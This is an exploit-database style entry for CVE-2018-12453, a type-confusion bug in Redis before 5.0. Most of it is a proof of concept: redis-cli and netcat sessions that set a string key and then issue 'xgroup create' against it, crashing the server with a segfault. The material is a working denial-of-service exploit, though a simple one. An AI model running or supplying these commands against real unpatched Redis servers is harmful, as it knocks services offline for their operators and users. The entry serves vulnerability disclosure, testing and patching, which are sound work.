# Exploit Title: Redis 5.0 Denial of Service
# Date: 2018-06-13
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/download
# Version: 5.0
# Fixed on: 5.0
# CVE : CVE-2018-12453

Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.


PoC:
$ ./src/redis-cli -p 1234
127.0.0.1:1234> set a 123
OK
127.0.0.1:1234> xgroup create a b $
Error: Connection reset by peer  <— segfault'ed
127.0.0.1:1234>

The bug also could be triggered via netcat
$ nc 127.0.0.1 1234
set a 123
+OK
xgroup create a b $  <— segfault’ed after this line
